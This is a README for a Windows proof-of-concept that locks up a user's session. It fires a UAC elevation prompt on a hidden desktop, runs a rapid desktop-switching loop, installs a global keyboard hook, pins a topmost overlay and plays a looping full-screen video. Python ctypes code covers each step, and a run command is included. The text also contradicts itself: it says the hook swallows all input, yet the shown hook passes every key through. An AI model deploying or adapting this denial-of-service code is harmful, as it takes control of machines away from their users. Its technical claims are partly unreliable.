Files
DoS-on-SAS/README.md
T
2026-06-25 16:32:38 +00:00

201 lines
8.2 KiB
Markdown

# PoC — SAS Desktop DoS via UAC Spoofing
A Windows proof-of-concept that demonstrates three security primitives in one payload:
1. **Hidden UAC elevation** — a `runas` prompt fires on a shadow desktop the user never sees
2. **Desktop-switch DoS** — rapid `SwitchDesktop` calls render the session unusable
3. **Global keyboard lock** — a low-level hook swallows all input except Escape
> **Disclaimer:** For authorised security research and CTF use only. Do not run against systems you do not own or have explicit written permission to test.
---
## How It Works
### 1. Shadow Desktop + UAC SAS Block
Windows lets any process create additional desktops with `CreateDesktopW`. The trick is to switch to the shadow desktop, fire a UAC elevation prompt there, then immediately switch back. The user never sees the prompt — but more importantly, Windows holds the **Secure Attention Sequence (SAS) lock** for as long as the elevation is pending. This means Ctrl+Alt+Del and the secure desktop cannot preempt the session, blocking the user's primary escape route.
The desktop-switch DoS (`toggle()`) then hammers the CPU and display pipeline on top of that, preventing the system from stabilizing enough for the user to intervene. The two techniques are complementary: **UAC is the lock, the toggle loop is the hammer.**
```python
h_poc = user32.CreateDesktopW("PoCSecureDesktop", None, None, 0x0001, 0x10000000, None)
h_def = user32.OpenDesktopW("Default", 0, False, 0x00000100)
def trigger():
sei = SEI()
sei.cbSize = ctypes.sizeof(SEI)
sei.fMask = 0x00000040
sei.lpVerb = "runas" # request elevation
sei.lpFile = "cmd.exe"
sei.lpParameters = "/c exit"
sei.nShow = 0
shell32.ShellExecuteExW(ctypes.byref(sei))
if sei.hProcess:
kernel32.CloseHandle(sei.hProcess)
user32.SwitchDesktop(h_poc) # move to shadow desktop
threading.Thread(target=trigger, daemon=True).start() # UAC fires here
time.sleep(0.05)
user32.SwitchDesktop(h_def) # snap back before user notices
```
The 50 ms window is enough for `ShellExecuteExW` to dispatch the elevation request and acquire the SAS lock, while the default desktop remains visually unchanged to the user.
---
### 2. Desktop-Switch DoS
Once the SAS lock is held by the pending UAC prompt, the toggle loop runs at full CPU speed to prevent the system from recovering. Without the UAC, this still causes visible flickering — but the system can stabilize and the user can regain control. With it, there is no escape route to stabilize into.
```python
def toggle():
while not stop.is_set():
user32.SwitchDesktop(h_poc)
user32.SwitchDesktop(h_def)
user32.SwitchDesktop(h_poc)
user32.SwitchDesktop(h_def)
user32.SwitchDesktop(h_poc)
user32.SwitchDesktop(h_def)
threading.Thread(target=toggle, daemon=True).start()
```
Six switches per iteration, no sleep — the loop saturates the display pipeline.
---
### 3. Global Keyboard Hook
Hook type `13` is `WH_KEYBOARD_LL` — a system-wide low-level keyboard hook. Every keypress on the machine is routed through `kb_proc` before any other application sees it. The hook passes everything through untouched except for the single Escape (`0x1B`) keydown, which sets the `stop` event and begins teardown.
```python
class KBDLLHOOKSTRUCT(ctypes.Structure):
_fields_ = [("vkCode", ctypes.c_ulong), ("scanCode", ctypes.c_ulong),
("flags", ctypes.c_ulong), ("time", ctypes.c_ulong),
("dwExtraInfo", ctypes.POINTER(ctypes.c_ulong))]
@ctypes.WINFUNCTYPE(ctypes.c_long, ctypes.c_int, ctypes.wintypes.WPARAM, ctypes.c_void_p)
def kb_proc(nCode, wParam, lParam):
if nCode >= 0 and lParam:
kb = ctypes.cast(lParam, ctypes.POINTER(KBDLLHOOKSTRUCT))[0]
if kb.vkCode == 0x1B and not (kb.flags & 0x80): # Escape keydown
stop.set()
return user32.CallNextHookEx(None, nCode, wParam, lParam)
```
The `flags & 0x80` check masks out key-release events so the stop fires exactly once on keydown.
The hook requires its own message pump to receive events from the OS. A dedicated non-daemon thread keeps the process alive as long as the hook is active:
```python
def hook_thread():
h_kb = user32.SetWindowsHookExW(13, kb_proc, None, 0)
hooks_ready.set()
m = ctypes.wintypes.MSG()
while not stop.is_set():
if user32.PeekMessageW(ctypes.byref(m), None, 0, 0, 1):
user32.TranslateMessage(ctypes.byref(m))
user32.DispatchMessageW(ctypes.byref(m))
time.sleep(0.0005)
user32.UnhookWindowsHookEx(h_kb)
```
`hooks_ready` is a `threading.Event` that the main thread waits on before starting the toggle loop, guaranteeing the hook is installed before the DoS begins.
---
### 4. Overlay Window
A borderless, always-on-top popup sits pinned to the bottom of the screen and renders "Press Escape to Quit" in bold blue Arial (weight 900, size 80) on a black bar. It is repainted on every `WM_PAINT` (`0x000F`) message and repositioned every 50 ms to survive any window-manager interference.
```python
@WNDPROCTYPE
def wnd_proc(hwnd, msg, wp, lp):
if msg == 0x000F: # WM_PAINT
ps = ctypes.create_string_buffer(72)
hdc = user32.BeginPaint(hwnd, ps)
user32.SetBkColor(hdc, 0x00000000) # black background
user32.SetTextColor(hdc, 0x000000FF) # blue text (BGR)
hf = gdi32.CreateFontW(80, 0, 0, 0, 900, 0, 0, 0, 0, 0, 0, 0, 0, "Arial")
old = gdi32.SelectObject(hdc, hf)
gdi32.TextOutW(hdc, 20, 20, TEXT, len(TEXT))
gdi32.SelectObject(hdc, old)
gdi32.DeleteObject(hf)
user32.EndPaint(hwnd, ps)
return 0
return user32.DefWindowProcW(hwnd, msg, wp, lp)
```
Window creation flags: `WS_EX_TOPMOST | WS_EX_NOACTIVATE` (`0x8 | 0x80`) for extended style, `WS_POPUP | WS_VISIBLE` (`0x80000000 | 0x10000000`) for style. Height is fixed at 120 px, width spans the full screen (`GetSystemMetrics(0)`).
---
### 5. Video Payload
mpv is preferred (precise flags), VLC is the first fallback, and the OS default handler is the last resort. All three are spawned with `CREATE_NO_WINDOW` (`0x08000000`) so no console flashes up.
```python
if os.path.exists(mpv_path):
subprocess.Popen([mpv_path, VIDEO_URL, "--fs", "--no-border", "--ontop", "--loop=yes"],
creationflags=0x08000000)
elif os.path.exists(vlc_path):
subprocess.Popen([vlc_path, VIDEO_URL, "--fullscreen", "--no-video-title-show", "--loop"],
creationflags=0x08000000)
else:
subprocess.Popen(["cmd.exe", "/c", "start", "/max", "", VIDEO_URL],
shell=False, creationflags=0x08000000)
```
---
### 6. Threading Model & Execution Order
| Thread | Daemon | Role |
|---|---|---|
| `hook_thread` | No | Installs `WH_KEYBOARD_LL`, pumps messages, keeps process alive |
| `overlay_thread` | Yes | Owns the overlay `HWND` and its message loop |
| `toggle` | Yes | Rapid desktop switching loop |
| UAC trigger | Yes | One-shot `ShellExecuteExW` call |
Execution order is carefully sequenced:
```
CreateDesktopW / OpenDesktopW
└─ SwitchDesktop(h_poc) → trigger() → SwitchDesktop(h_def) ← UAC fires hidden
└─ Popen(video player)
└─ hook_thread.start() + overlay_thread.start()
└─ hooks_ready.wait() ← barrier
└─ toggle thread starts
└─ stop.wait() ← main thread blocks here
└─ cleanup: SwitchDesktop, CloseDesktop
```
---
## Requirements
- Windows 10 / 11
- Python 3.x (no third-party packages — pure `ctypes`)
- Optional: [mpv](https://mpv.io/) or [VLC](https://www.videolan.org/) for the video payload
## Running
```
python poc_sas_dos.py
```
Press **Escape** to exit cleanly.
---
## Security Concepts Demonstrated
| Technique | Windows API |
|---|---|
| Alternate desktop creation | `CreateDesktopW` |
| SAS lock via hidden UAC | `ShellExecuteExW` with `lpVerb = "runas"` on shadow desktop |
| Desktop switching DoS | `SwitchDesktop` |
| Global input capture | `SetWindowsHookExW(WH_KEYBOARD_LL)` |
| Topmost borderless overlay | `CreateWindowExW` + `SetWindowPos` |